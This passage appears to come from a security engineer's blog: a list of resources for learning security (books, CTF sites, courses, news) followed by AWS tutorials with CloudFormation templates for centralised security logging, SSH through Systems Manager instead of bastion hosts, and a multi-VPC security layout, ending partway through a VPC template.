How to be Invisible by J.J. Luna. This may not be strictly a security professionals book, but it does outline a number of ways to protect your assets, privacy, and security both online and off, using a variety of legal tricks and security practices.

The Web Application Hackers Handbook by Dafydd Stuttard. I was a little conflicted putting this here because the book has a lot of proprietary tool stuff, though I still think it is the best book to learn classes of web application vulnerabilities and how to find them.

Capture the Flag / Hands On

After reading theory, and perhaps running specific examples or labs, I like to practice in slightly more open environments. Here are the ones I have enjoyed the best, keeping in mind that there are many more available than I will ever have time to try. If something sounds interesting - try it!

Over the wire - Natas is great for web pen testing, and the rest for coming up to speed on things like buffer overflow and memory corruption. I haven't completed everything on the site, but I always learned a lot. All the challenges are free.

Pentester lab - an excellent site for learning, with a structured approach and courses. Unfortunately, it's a modest investment on an ongoing basis.

Vulnhub - Download lot's of (Free!) vulnerable VM's. If you are just starting out, try out the Kioptrix series (1-5), Minotaur, pwnlab, stapler, and VulnOS.

Hack the Box - One of my favorite sites. VPN into their network and have fun! There is a small hacking challenge to get an account. They have a Pro version, but the free one is plenty for part time learning.

Fuzzy Security Tutorials - More a mix of tutorial, VM exploit walkthroughs, and overviews of concepts - this site has many interesting resources for learning aspects of hacking.

Here are a few good cheat sheets: enumerate network services, reverse shells, and one for privilege escalation (it's a little old, but still relevant - the methodology is what counts.).

Programming

I'm a programmer by trade and only entered the security field later, so I am less versed in early learning. I first learned programming by picking up an introductory C++ text and working my way through it cover to cover, before entering college. I picked up some bad practices, and missed some important concepts doing it this way, so I usually recommend structured courses to start.

I recommend starting with Python if you are new to programming. It is easy to read compared to some languages, has relatively simple tooling, and is frequently used by the security community.

Udacity programming track - Start with Introduction to Programming, and go on to Design of Computer Programs. The second one in particular is one of the best programming courses I have ever taken, including many university courses. Both of these should be free, but Udacity has many paid courses and I have always found the content good.

Developing iOS 11 apps with Swift by Paul Hegarty if you want to learn iOS development or mobile more broadly. This is probably less helpful to security practitioners unless you are specifically working with mobile app development teams. This would be a very challenging first programming course, as he assumes the student is already familiar with most programming concepts (data structures & OOP specifically).

The Go Programming Language by Alan A. A. Donovan and Brian W. Kernighan. I prefer Go for command line tooling over python for a number of reasons. Mostly, I find that a compiled language removes all the local dependencies that Python comes with, and the golang compiler makes it easy to build for different systems.

Certifications & Courses

I really like structured learning. Unfortunately, I have not found many courses that I really like. I have taken some great SANS courses, but can't recommend them due to their high cost, unless your company is paying.

The same is true for certifications. The two I think are most valuable over all are the CISSP (requires 5+ years experience) and the OSCP. Others may be a good investment depending on target jobs and employers, especially Security+.

With all of that, there are really only two things I can recommend, with the caveat that I personally have not completed either.

Pen testing with Kali by Offesive Security. This is the official OSCP preparation course, and is highly touted in the community. It starts at $1000, which is not very expensive considering other top tier classes.

Pentester lab as I mentioned above. Their pro service has some excellent courses and hands on. A lot less investment to get started at $20/month.

Ongoing Reading and News

Often, I find I learn the most when I stumble across a newly discovered exploit or vulnerability, then take the time to research how it works. Most of the CTF challenges and formal training options will cover only a subset of real world attacks. Reading the news will broaden your understanding of attacks that need to be considered in production environments.

Additionally, attacks like encryption downgrade attacks, cache poisoning, or phishing are rarely well represented in training labs. Reading about real world attacks and defenses help greatly in this regard. Here is a list of news and infosec sites worth following - there are too many to watch regularly, so pick the ones you like or use an RSS reader.

Bleeping Computer - News about current attacks and breaches. Most articles aren't technically deep.

r/netsec - a reddit community discussing vulnerabilities, exploits, and tools. Great for learning.

Naked Security by Sophos - Another news site about current attack trends.

Krebs - Great in depth write ups on security news, sometimes breaking news, and general security information

ThreatPost - yet another news site

Dark Reading - another popular security news site

Conclusions

There are tons of other learning resources out there. I didn't touch on many areas of importance such as networking, sysadmin, architecture, and cloud. Each of these is a domain of their own, and I learned them largely by doing and reading to solve problems in my day job.

My philosophy has been to learn continuously, and be curious. I investigate things I don't understand well, and prefer fundamental understanding over edge understanding. When given a choice on where to focus my time, I generally choose to focus on the broader concepts, which apply to more things, than specific exploits or vulnerabilites.

A good way to think about it is, if I come across an exploit that takes advantage of something I don't fully understand, I will take the time to understand the underlying system and how it works, rather than focusing on the exploit. Later, I can come back to the exploit with a much deeper understanding of how it was found and exploited, as well as all exploits of a similar class.

When securing an AWS environment, one of the first tasks is configuring CloudTrail and ensuring that logs from various accounts within an organization are shipped to a centralized AWS security account.

Frequently, however, there are other log sources that I will want to monitor across the environment. These are logs generated by custom services and applications that have some impact on security - web server logs, syslogs, various security product logs, etc.

When I first attempted to do this, it wasn't obvious from the documentation how to properly configure a system that could ingest from multiple accounts and data sources, and consolidate everything in one place.

In this article, I'll walk through the setup I finally landed on to capture those logs in CloudWatch, ingest them into a security account with Kinesis, and store them in an S3 bucket for future use. Some of the architecture choices are forced by AWS policy for cross account access (Kinesis).

A full setup would likely also include a life-cycle policy (storing older logs in something like Glacier), and integration with an SIEM or log visualization tool. I have used the Splunk S3 integration for SIEM integrations from this setup, and Kibana with ElasticSearch as a separate output from Kinesis for these purposes in the past.

If you haven't seen the security VPC setup, I cover that in the first article in this series, advanced AWS security architecture.

Why would we want to set something like this up? It gives us a few key security benefits:

• Immutable logs from all assets in our infrastructure. Auditors, security analysts, and forensic investigators can have confidence that a compromised server does not mean compromised logs, even if an attacker takes over the root account of a VPC.
• One place to search all log data in the event of an incident.
• Single point to backup / archive for future potential needs, allowing storage cost optimizations.
• One integration point for downstream security systems such as SIEM or visualization tools.

Log Architecture

The setup in AWS is a little complicated, since our goal is to enable centralization from many application accounts to a single security account.

On the security side, we have a customer managed key (KMS) for encrypting everything end to end, with an S3 bucket as long term storage. To ingest and direct these logs, we need a Kinesis stream (to receive) and Kinesis Firehose (to direct to S3), along with some IAM roles and glue components.

On the application side, we need a smaller footprint: a subscription and a CloudWatch group to subscribe to. Any number of groups and/or subscriptions can be created here. the subscriptions also give us the capability of filtering logs to taget only those we care about, such as webserver logs or specially crafted security logs from applications.

CloudFormation

I created two cloud formation templates to provision all of this infrastructure. I'll walk through each major component here, or you can skip this part and go right to the full templates in github.

Required role & policy

We'll need a service role in the security account, and a policy that gives the minimum access needed to each service to ensure they can all communicate.

This role uses namespacing to give access only to the resources required. In this case, prefixing the assets with the name "secops-". In a real environment, you might use a unique ID from an asset system tied to an application.

  IngestionRole:
    Type: AWS::IAM::Role
    Properties:
      RoleName: security-log-writer
      Path: /
      AssumeRolePolicyDocument:
        Version: 2012-10-17
        Statement:
          - Action: sts:AssumeRole
            Effect: Allow
            Principal:
              Service: !Sub "logs.${AWS::Region}.amazonaws.com"
          - Action: sts:AssumeRole
            Effect: Allow
            Principal:
              Service: firehose.amazonaws.com
            Condition:
              StringEquals:
                sts:ExternalId: !Sub "${AWS::AccountId}"

  IngestionRolePolicy:
    Type: AWS::IAM::Policy
    Properties:
      PolicyName: security-log-writer-policy
      Roles:
        - !Ref IngestionRole
      PolicyDocument:
        Statement:
          - Sid: KinesisReadWrite
            Action:
              - kinesis:Describe*
              - kinesis:Get*
              - kinesis:List*
              - kinesis:Subscribe*
              - kinesis:PutRecord
            Effect: Allow
            Resource: !Sub "arn:aws:kinesis:${AWS::Region}:${AWS::AccountId}:stream/secops-*" # Namespacing this role for things named secops
          - Sid: S3ReadWrite
            Action:
              - s3:Get*
              - s3:Put*
              - s3:List*
            Effect: Allow
            Resource: # Namespace to assets starting with "secops"
              - "arn:aws:s3:::secops-*"
              - "arn:aws:s3:::secops-*/*"
          - Sid: Passrole
            Action:
              - iam:PassRole
            Effect: Allow
            Resource: !GetAtt IngestionRole.Arn

KMS Encryption Key

We create a key that our role has complete access to. I also add the root user, and would recommend adding a security role for analysts in a real environment, or moving the logs into an analysis engine for consumption.

  KMSKey:
    Type: AWS::KMS::Key
    Properties:
      Description: Symmetric CMK
      KeyPolicy:
        Version: '2012-10-17'
        Id: key-default-1
        Statement:
        - Sid: KeyOwner
          Effect: Allow
          Principal:
            AWS: !Sub "arn:aws:iam::${AWS::AccountId}:root"
          Action: kms:*
          Resource: '*'
        - Sid: KeyUser
          Effect: Allow
          Principal:
            AWS: !GetAtt IngestionRole.Arn
          Action: kms:*

S3 bucket & policy

An encrypted, non-public bucket and a locked down policy is all we need for this architecture. In a real enviornment, we would also want a data lifecycle policy to offload data to Glacier over time.

Here, I specify default AWS encryption, though a KMS key is preferred. Because logs are coming encrypted out of Kinesis already, they will actually land in the bucket encrypted with the KMS key anyway.

  LogBucket:
    Type: AWS::S3::Bucket
    Properties: 
      BucketName: !Ref LogBucketName
      # Prevent public access
      PublicAccessBlockConfiguration:
        BlockPublicPolicy: True
        BlockPublicAcls: True
        IgnorePublicAcls: True
        RestrictPublicBuckets: True
      # Encrypt the bucket - may also want to use KMS instead
      BucketEncryption:
        ServerSideEncryptionConfiguration:
          - ServerSideEncryptionByDefault:
              SSEAlgorithm: AES256

  LogBucketPolicy:
    Type: AWS::S3::BucketPolicy 
    DependsOn: LogBucket
    Properties:
      Bucket: !Ref LogBucket
      PolicyDocument:
        Version: 2012-10-17
        Statement:
          - Action:
            - S3:GetObject
            - S3:PutObject
            Effect: Allow
            Resource: !Sub "arn:aws:s3:::${LogBucketName}/*"
            Principal:
              AWS: !GetAtt IngestionRole.Arn
            Condition:
              Bool:
                aws:SecureTransport: True

Kinesis & Firehose

Finally, we setup an encrypted Kinesis instance and Firehose. This is a minimal configuration of Kinesis, suitable for a smaller ingestion load. As the system scales up, this setup will require tweaking for higher availability and throughput.

  Stream:
    Type: AWS::Kinesis::Stream
    Properties: 
      Name: secops-SecurityLogStream
      ShardCount: 1
      StreamEncryption: 
        EncryptionType: KMS
        KeyId: !Ref KMSKey

  Firehose:
    Type: AWS::KinesisFirehose::DeliveryStream
    Properties: 
      DeliveryStreamName: secops-SecurityLogFirehose
      DeliveryStreamType: KinesisStreamAsSource
      KinesisStreamSourceConfiguration: 
        KinesisStreamARN: !GetAtt Stream.Arn
        RoleARN: !GetAtt IngestionRole.Arn
      S3DestinationConfiguration: 
        BucketARN: !GetAtt LogBucket.Arn
        BufferingHints: 
          IntervalInSeconds: 300
          SizeInMBs: 5
        CompressionFormat: GZIP
        EncryptionConfiguration: 
          KMSEncryptionConfig: 
            AWSKMSKeyARN: !GetAtt KMSKey.Arn
        RoleARN: !GetAtt IngestionRole.Arn

AWS Log Destination

Finally, we need to configure the destination that will be pointed at from the application accounts, and direct incoming logs to the stream. As of this writing, Destinations don't allow the normal policy attachment, making it difficult to include paramaters and references.

The solution I use is to create the policy inline with Join functions, which will allow us to reference parameters. Because we are doing cross account access, we have to specify which AWS accounts are allowed to write to our security account. Every time we add a new account, we will have to update this policy.

The format of the AppAccountIDs parameter is a comma separated string of account ID's

  LogDestination:
    Type: AWS::Logs::Destination
    DependsOn: Stream
    Properties: 
      DestinationName: SecurityLogDestination
      DestinationPolicy: 
        !Join
          - ''
          - - '{'
            - '    "Version" : "2012-10-17",'
            - '    "Statement" : ['
            - '      {'
            - '        "Sid" : "",'
            - '        "Effect" : "Allow",'
            - '        "Principal" : {'
            - '          "AWS" : ['
            - !Ref AppAccountIDs
            - '           ]'
            - '        },'
            - '        "Action" : "logs:PutSubscriptionFilter",'
            - !Sub '        "Resource" : "arn:aws:logs:${AWS::Region}:${AWS::AccountId}:destination:SecurityLogDestination"'
            - '      }'
            - '    ]'
            - '  }'
      RoleArn: !GetAtt IngestionRole.Arn
      TargetArn: !GetAtt Stream.Arn

Generating Test Logs

I didn't cover the creation of a log group or subscription above, but you can see the templates in github (they are pretty simple). To run a test, I want to configure cloudwatch on an EC2 instance to send the messages logfile to the created group, then see if it makes its way to S3.

A good walkthrough of this setup process can be found on tensult's blog. The key item is to ensure that the awslogs process settings file has the proper group installed:

[/var/log/messages]
datetime_format = %b %d %H:%M:%S
file = /var/log/messages
buffer_duration = 5000
log_stream_name = {instance_id}
initial_position = start_of_file
log_group_name = logs-for-security-ingestion

You should immediately see logs flowing into CloudWatch, and within five or ten minutes, showing up in S3 as gzipped files.

Conclusions

Centralizing logs across many application accounts is more confusing than it probably should be. Moving the logs from S3 into another system frequently requires additional infrastructure and configurations. However, the security benefits of this are numerous, and it's probably worth doing as you scale up a larger business on AWS.

Unfortunately, all this infrastructure doesn't come free. Each component carries a cost (though I have not found it to be notable compared to what is monitored, with tight filters to scope down total logs ingested), and operational overhead.

I have not covered it here, but additional monitoring may be required to ensure that the log flow through these components is uninterrupted, and source logs are not being missed through missing subscriptions or improper CloudWatch agent setups.

When I first started using AWS environments, the Bastion architecture was prevalent as the way to setup SSH connections. A dedicated "bastion" server is provisioned with SSH ports exposed to an internal network, or in some cases the internet, so that other servers do not have to expose their own SSH ports. Sometimes, the bastion host is used to tunnel to databases or other more sensitive ports as well, though I generally prefer to chain SSH -> bastion -> application server -> DB/etc.

While this method is good because it reduces the attack surface area and gives a single point of control, it also increases overall cost of maintenance and results in a pretty risky server.

In 2019, AWS announced tunneling support for SSH and SCP with Systems Manager, meaning that Bastion hosts can be replaced for most use cases. We can also pick up a couple of extra security goodies when moving to systems manager:

• Automated server patching
• Enforced security standards on OS level hardening or agent installs
• Full SSH session logging is simple to enable (I actually recommend disabling this unless you really need it to avoid storing sensitive information in these logs)

In this article, we'll be walking through an initial SSM setup, testing SSH to an EC2 instance along with a tunnel to RDS, and then configuring automated patching and security checks for that instance.

The templates shown in this article don't depend on other templates in my Advanced AWS security architecture series, but you might be interested in reading the first article before taking on this one.

The full CloudFormation template for deploying a SystemsManager enabled instance with a sample automation document can be found on my GitHub.

Initial SSM setup

In order to leverage SSM, we need a few things:

• An Instance profile we can attach to EC2 instances
• A Role that can assume permissions for SSM tasks
• An SSM agent installed and running on the EC2 instance.

Here is a CloudFormation snippet to create an instance profile and a role that allows the EC2 instance to leverage SSM:

  SSMProfile:
    DependsOn: SSMRole
    Type: AWS::IAM::InstanceProfile
    Properties: 
      InstanceProfileName: SSMInstanceProfile
      Roles: 
        - !Ref SSMRole

  SSMRole:
    Type: AWS::IAM::Role
    Properties: 
      AssumeRolePolicyDocument:
        Version: 2012-10-17
        Statement:
          - Effect: Allow
            Principal:
              Service:
                - ec2.amazonaws.com
            Action:
              - 'sts:AssumeRole'
      Description: Basic SSM permissions for EC2
      ManagedPolicyArns: 
        - arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore 
      RoleName: SSMInstanceProfile

I am using a managed policy for simplicity, but I recommend creating your own policy with limited permissions instead, as most managed policies are too permissive.

Automating Security Tasks with SSM

Now that we have SSM available for instances, let's create a sample script that we would like to run on a regular basis across all our EC2 instances. To keep the example simple, we will write an Echo automation, which accepts a parameter and echos it into a local text file on the server.

Since I am using a shell script in this example, you could modify this template to do anything on the server. In the past I have used this method to install or verify installation of security agents, setup logging, audit software, and more.

First we will create a Document, which defines a single parameter and our shell script (a couple of echo commands).

  EchoDocument: 
    Type: "AWS::SSM::Document"
    Properties: 
      Name: "SecurityEchoDocument"
      DocumentType: Command
      Content: 
        schemaVersion: "1.2"
        description: "Just echo's into a file - to show how SSM works. A real document might check security agents, setup logging, or hardening attributes."
        parameters: 
          valueToEcho: 
            type: "String"
            description: "Just a sample parameter"
            default: "Hello world!"
        runtimeConfig: 
          aws:runShellScript:
            properties:
              - runCommand:
                  - echo "{{ valueToEcho }}" >> ssm.txt
                  - echo "Done with SSM run" >> ssm.txt

Next we will create a maintenance window that defines how frequently and when this should be run. For testing purposes, I want this to be run every 5 minutes:

  EchoWindow:
    Type: AWS::SSM::MaintenanceWindow
    Properties: 
      AllowUnassociatedTargets: true
      Cutoff: 1
      Description: Run Echo documents - our sample automation
      Duration: 4
      Name: PatchWindow
      Schedule: cron(*/5 * * * ? *) # Every 5 mintues for this test. Probably not what you would really want!

Then, I create a grouping to execute the script on target instances. Here, it is based on tags specifically created for this task. We don't have to use tags, but I find it a simple way to group servers into sets based on automation documents targeting their risk level, OS, or something else.

  EchoTargets:
    Type: AWS::SSM::MaintenanceWindowTarget
    Properties: 
      Description: Add our server into the maintenance window
      Name: EchoTargets
      ResourceType: INSTANCE
      Targets: 
      - Key: tag:ShouldEcho
        Values: 
        - True
      WindowId: !Ref EchoWindow

Finally, we will tie this all together with a task. The task will link the targets to a window, and execute the document within the window schedule.

 EchoTask:
  Type: AWS::SSM::MaintenanceWindowTask
  Properties: 
    Description: Echo data on the machine
    MaxConcurrency: 3
    MaxErrors: 1
    Name: EchoTask
    Priority: 5
    Targets: 
    - Key: WindowTargetIds
      Values: 
      - !Ref EchoTargets
    TaskArn: !Ref EchoDocument
    TaskType: RUN_COMMAND
    TaskInvocationParameters:
      MaintenanceWindowRunCommandParameters:
        Parameters:
          valueToEcho:
            - "Hello World from the maintenance window!"
    WindowId: !Ref EchoWindow

We're done with the SSM setup and automation creation now! Any servers tagged with with ShouldEcho == True will now have our Echo script run on them every 5 minutes. But we haven't actually created that server yet, so let's do that next.

Create an EC2 Server With SSM

Let's build that EC2 instance and leverage SSM on it. You should also build a tightly scoped IAM role for this instance. In an enterprise environment, you may have broader groups and scopes that dictate access, so be cautious: It is somewhat easy to over-provision access with this method.

If you grant a role ssm:StartSession or ssm:ResumeSession on resource:*, then that role will be able to login as root to all SSM enabled servers! (This is a good time to note that when I am peer reviewing IAM templates, any usage of resource:* gets flagged for close scrutiny: it is rarely what you really want when paired with Allow directives).

Instead, grant a role with a tightly scoped resource. I tend to use name-spacing, where assets are prefixed with an application ID and environment (Dev/Prod/etc), and then scope with resource:<arn-prefix>-<application-ID>-<environment>-*. However in this example I don't create any such role and am using an admin user for simplicity.

In the examples, I am using Amazon Linux 2, which comes with an SSM agent installed by default. If you are using an AMI which is does not include the agent, you will need to add a provisioning step to install the agent. More can be found in the AWS documentation on SSM agents.

I also include a security group that does not open port 22 for SSH access. Instead, the server only allows traffic in on port 443, for encrypted HTTP, and all outbound traffic.

  SimpleServer:
    Type: AWS::EC2::Instance
    DependsOn: SSMProfile
    Properties:
      InstanceType: t3.micro
      SecurityGroupIds:
      - Ref: WebSecurityGroup
      IamInstanceProfile: !Ref SSMProfile
      ImageId: !Ref AMIID
      Tags: 
        - Key: ShouldEcho
          Value: True
      SsmAssociations:
        - AssociationParameters: 
            - Key: valueToEcho
              Value: 
                - "Hello World from CloudFormation initialization!"
          DocumentName: !Ref EchoDocument

  WebSecurityGroup:
    Type: AWS::EC2::SecurityGroup
    Properties:
      GroupDescription: Enable encrypted HTTP traffic only (in/out)
      VpcId: !Ref VpcId
      SecurityGroupIngress:
      - IpProtocol: tcp
        FromPort: '443'
        ToPort: '443'
        CidrIp: 0.0.0.0/0

Putting It All Together

Our template is now complete. Not shown here, but present in github, is an RDS instance as well. Run it in an AWS environment using the AWS CLI.

aws cloudformation create-stack --stack-name ssm --template-body file://ssm.yaml --capabilities CAPABILITY_NAMED_IAM

You can now use the console to get a few more pieces of information about what was provisioned:

• The instance name, AZ, and other details from the EC2 panel
• The DB master password from the Secret Manager panel
• The RDS postgres instance URL from the RDS panel.
• The Session Manager to view automation documents and start an SSH session from your browser.

Finally, we can use the console to add the group to patch manager. Now, every time the window comes up, AWS will also try to patch the instances with the latest security patches.

A Better way to SSH on AWS (and tunnel to RDS)

Now that everything is provisioned and you have gathered your information, let's SSH into our simple server, even though we didn't open port 22. In the console, navigate to systems manager, then Session Manager, and select the instance, then click start session. You'll get a console window with root access!

Alternately, and my preference, you can use the command line by installing a plugin to the AWS CLI and following the AWS guide on SSH. Here, I SSH into the instance and verify that the automation Echo document we created is being executed and passed the parameters we defined.

aws ssm start-session --target i-01cbc9a20ce113029 --document-name AWS-StartSSHSession
...
sh-4.2$ ls -al ssm.txt
-rw-r--r-- 1 root root 132 Feb 19 17:16 ssm.txt
sh-4.2$ id
uid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)
sh-4.2$ cat ssm.txt
Hello World from CloudFormation initialization!
Done with SSM run
Hello World from CloudFormation initialization!
Done with SSM run
.... wait ~5 minutes...
sh-4.2$ cat ssm.txt
Hello World from CloudFormation initialization!
Done with SSM run
Hello World from CloudFormation initialization!
Done with SSM run
Hello World from the maintenance window!
Done with SSM run

We can also leverage SSM to port forward from our local machine to an RDS instance that is only accessible to the EC2. SSM does require a bit of extra work to get the tunnel working unfortunately.

To complete this example, you will need the AWS CLI and SSM plugin, a local postgres client (psql), and an SSH client. You can get the DB password by logging into the AWS console and retrieving the secret from the Secrets Manger service.

Below is a script that does a few things to setup our tunnel to the RDS instance:

1. Temporarily (for 60 seconds) puts a public key on the EC2 instance (it creates a temporary keypair in the current directory)
2. Connect to the instance using the private key, and put the tunnel in a socket file (temp-ssh.sock)
3. Wait for the user to press a key, then close the connection.

ssh-keygen -t rsa -f temp -N ''
aws ec2-instance-connect send-ssh-public-key --instance-id i-07cec3c515bcb2e61 --availability-zone us-east-1b --instance-os-user ssm-user --ssh-public-key file://temp.pub
ssh -i temp -N -f -M -S temp-ssh.sock -L 3306:echodb-dev.cju92986bx4i.us-east-1.rds.amazonaws.com:5432 ssm-user@i-07cec3c515bcb2e61 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o ProxyCommand="aws ssm start-session --target %h --document-name AWS-StartSSHSession --parameters portNumber=%p"
read -rsn1 -p "Press any key to close session."; echo
ssh -O exit -S temp-ssh.sock *
rm temp*

Of course, this script leaves a lot to be desired - it hard codes the instance name, keyfile, AZ, etc. It should be used as a starting point for a more robust script. Once the press any key message appears, in a separate window we can connect to our instance with psql:

$ psql -h localhost -p 3306 -U master postgres
Password for user master: 
psql (12.2 (Ubuntu 12.2-1.pgdg19.10+1), server 10.6)
SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=> \q

Hitting any key on the original window will close the session and remove the socket file.

Conclusions

We have built a complete management solution for a typical EC2/RDS architecture without exposing any SSH ports. We restricted the database to only allow connections from servers that will interact with it (no bastion!). We also setup an automation document that can be expanded upon to complete all sorts of automated security tasks on our server fleet.

This gives us improved SSH security at a lower cost and overall simpler architecture and security group layout.

I'd love to hear from the community on what great automation you have done with SSM!

Most articles on AWS security rightfully spend a lot of time talking about the basics, such as setting up minimized IAM roles, encrypting data, and basic monitoring. It is more difficult to find guidance and specific implementation recommendations on advanced, automated security configurations.

In this series of articles, I will be outlining advanced security architecture for large AWS deployments. This is the kind of stuff I wished had been laid out for me when I started securing our cloud environments, and had to learn on my own.

It's also not enough to just show you the architectural layouts I recommend - I'll be diving deep to make sure the concepts, trade offs, and implementation details are clear.

To that end, for each component, I will look at the security goals, the architecture and concepts, and finally a specific implementation example with CloudFormation templates, where I will call out what should change for actual implementations (Everything here is designed for testing on a free personal account)

By the end of the series, you will have an application VPC to host business applications in, and a logically separate security VPC to aggregate data of interest such as logs, incident information, configurations, and an automated framework to analyze and respond to these items.

Since this is a large and complicated topic, I have broken it out into the following planned series of articles, building up the infrastructure and explaining it piece by piece.

1. A Multi-VPC security strategy (this article)
2. Using Session Manager to automate patching, secure SSH, and automated security agent installs.
3. Leveraging and centralizing AWS security tools with SecurityHub.
4. Aggregating and analyzing logs for security.
5. Building centralized compliance and security monitoring of infrastructure with Config, the Compliance Engine, and Rule Development Kit.

AWS Security Basics

I won't go in depth here about setting up basic security, as this is a well covered topic. If the team isn't solid on the basics, it would pay better dividends to develop practices and procedures to put them in place before moving on to building out the advanced security components.

Many cloud security incidents are the result of mis-configurations, where sensitive data is inadvertently exposed to the internet without controls. These controls are largely about preventing, and detecting those possibilities.

In brief, be sure to have:

• IAM practices that ensure minimal security groups, roles, and groups, along with a change management process for modifying these items.
• A solid patching strategy for any OS's, software, and platforms where Amazon doesn't take the lead.
• A NACL / network firewall strategy and review process, along with a solid understanding of what might make a service open to the internet vs. internal users.
• Similar to the above, a good understanding of bucket policies, and a review process to catch public buckets (We'll automate this later).
• Solid secure development practices with a focus on cloud native architectures.

Multi VPC Security Architecture

Many teams start their cloud journey with a single VPC where all applications, logs, and data are stored. This is sub-optimal from a security perspective because if the VPC itself should be compromised, so are many of the security controls we depend on as security professionals.

Therefore, I prefer to have a separate, dedicated VPC for security, which will constantly be monitoring the application VPC. As the business scales and adds additional VPC's, it is simple to roll out and centralize the same controls across all business environments, while keeping security analysts and data in a single place for all their work.

Eventually, we will have something like the below, with any number of application VPC's reporting back.

The key elements of this architecture is that all relevant information for security monitoring and incident analysis is stored in the security VPC. We can drain any number of other logs (sysmon, syslog, apache, etc) via the cloudwatch drain shown.

Note that this is a high level diagram, and does not show every service that will need to be leveraged to complete this setup - only the critical components to illustrate what we are trying to accomplish and the core AWS services we will be leveraging, When we implement each of these, I'll talk about each component in detail. The core services will be:

• Security Hub to centralize and view mis-configurations and potential incidents that Amazons internal tools have detected
• Config to track all infrastructure configuration changes, and validate them against policies, such as requiring S3 bucket encryption at rest.
• Session Manager to automate patching, configuration of common tooling, and SSH (instead of a bastion)
• CloudWatch to aggregate logs from many services and store them in our security VPC. We could easily add log analysis tools at this phase.

Setting up an application and security account

I have attempted to keep everything we build to minimal cost, expecting it to be built in a free tier personal account. Some of the stacks do carry charges (usually less than $1/hour for any examples shown in this series), so be sure to delete stacks as soon as you are done testing to minimize costs.

To follow along, you'll need a free AWS account, with an IAM user capable of managing organizations and accounts (I don't recommend using the root user for anything more than creating an admin user).

We will be creating separate accounts for each function. If you created a new AWS account, you first have to change it to an organization - go to the drop-down under your admin user name, and select My Organization.

Go through the steps of creating an application account, and a security account. The root account (the one that was initially created) can now be reserved only for management of the sub accounts. Because this master account has access to everything, it should be completely locked down (MFA on all logins, severely restricted list of who has any access, regular audits of activity, and perhaps more).

Securing the master account is a little outside the scope of this series, because you may want to include non-AWS protective measures to protect against internal threat actors, as well as the normal external actors. This account also is generally used to manage all billing for an organization, and may require other special considerations.

For each sub account, create an admin user with access keys who will be able to build infrastructure.

Building the VPC's within each account

We're finally ready to create the actual VPC's we'll be building in. I am basing the templates on this sample vpc creation template found in the AWS documentation with a few minor changes.

Both VPC's include an internet gateway and public subnets, to allow internal resources to reach out to the internet for things like patches, but no traffic is currently allowed from the internet to our VPC's.

In a production situation, you might use a VPN gateway or direct connect when setting up ingress routes to avoid any internet traffic for internal applications and especially for our security account.

Here is a sample cloud formation template for building out a basic VPC. You can find these templates, along with all the samples shown in this series, in my github:

AWSTemplateFormatVersion: "2010-09-09"
Description:  This template deploys an application VPC, with a pair of public and private subnets spread
  across two Availability Zones. It deploys an internet gateway, with a default
  route on the public subnets. It deploys a pair of NAT gateways (one in each AZ),
  and default routes for them in the private subnets.

Parameters:
  EnvironmentName:
    Description: An environment name that is prefixed to resource names
    Type: String
    Default: "lab"

  VPCName:
    Description: A friendly name to refer to this VPC
    Type: String
    Default: "Application"

  VpcCIDR:
    Description: IP range (CIDR notation) for the application VPC
    Type: String
    Default: 10.11.0.0/16

  PublicSubnet1CIDR:
    Description: Please enter the IP range (CIDR notation) for the public subnet in the first Availability Zone
    Type: String
    Default: 10.11.10.0/24

  PublicSubnet2CIDR:
    Description: Please enter the IP range (CIDR notation) for the public subnet in the second Availability Zone
    Type: String
    Default: 10.11.11.0/24

  PrivateSubnet1CIDR:
    Description: Please enter the IP range (CIDR notation) for the private subnet in the first Availability Zone
    Type: String
    Default: 10.11.20.0/24

  PrivateSubnet2CIDR:
    Description: Please enter the IP range (CIDR notation) for the private subnet in the second Availability Zone
    Type: String
    Default: 10.11.21.0/24


Resources:
  VPC:
    Type: AWS::EC2::VPC
    Properties:
      CidrBlock: !Ref VpcCIDR
      EnableDnsSupport: true
      EnableDnsHostnames: true
      InstanceTenancy: "default" # I recommend setting to dedicated for sensitive workloads.
      Tags:
        - Key: Name
          Value: !Ref VPCName
        - Key: Environment
          Value: !Ref EnvironmentName

  InternetGateway:
    Type: AWS::EC2::InternetGateway
    Properties:
      Tags:
        - Key: Name
          Value: !Sub "${EnvironmentName}-${VPCName}-InternetGateway"
        - Key: Environment
          Value: !Ref EnvironmentName

  InternetGatewayAttachment:
    Type: AWS::EC2::VPCGatewayAttachment
    Properties:
      InternetGatewayId: !Ref InternetGateway
      VpcId: !Ref VPC

  PublicSubnet1:
    Type: AWS::EC2::Subnet
    Properties:
      VpcId: !Ref VPC
      AvailabilityZone: !Select [ 0, !GetAZs '' ]
      CidrBlock: !Ref PublicSubnet1CIDR
      MapPublicIpOnLaunch: true
      Tags:
        - Key: Name
          Value: !Sub ${VPCName} Public Subnet (AZ1)

  PublicSubnet2:
    Type: AWS::EC2::Subnet
    Properties:
      VpcId: !Ref VPC
      AvailabilityZone: !Select [ 1, !GetAZs  '' ]
      CidrBlock: !Ref PublicSubnet2CIDR
      MapPublicIpOnLaunch: true
      Tags:
        - Key: Name
          Value: !Sub ${VPCName} Public Subnet (AZ2)

  PrivateSubnet1:
    Type: AWS::EC2::Subnet
    Properties:
      VpcId: !Ref VPC
      AvailabilityZone: !Select [ 0, !GetAZs  '' ]
      CidrBlock: !Ref PrivateSubnet1CIDR
      MapPublicIpOnLaunch: false
      Tags:
        - Key: Name
          Value: !Sub ${VPCName} Private Subnet (AZ1)

  PrivateSubnet2:
    Type: AWS::EC2::Subnet
    Properties:
      VpcId: !Ref VPC
      AvailabilityZone: !Select [ 1, !GetAZs  '' ]
      CidrBlock: !Ref PrivateSubnet2CIDR
      MapPublicIpOnLaunch: false
      Tags:
        - Key: Name
          Value: !Sub ${VPCName} Private Subnet (AZ2)

  NatGateway1EIP:
    Type: AWS::EC2::EIP
    DependsOn: InternetGatewayAttachment
    Properties:
      Domain: vpc

  NatGateway2EIP:
    Type: AWS::EC2::EIP
    DependsOn: InternetGatewayAttachment
    Properties:
      Domain: vpc

  NatGateway1:
    Type: AWS::EC2::NatGateway
    Properties:
      AllocationId: !GetAtt NatGateway1EIP.AllocationId
      SubnetId: !Ref PublicSubnet1

  NatGateway2:
    Type: AWS::EC2::NatGateway
    Properties:
      AllocationId: !GetAtt NatGateway2EIP.AllocationId
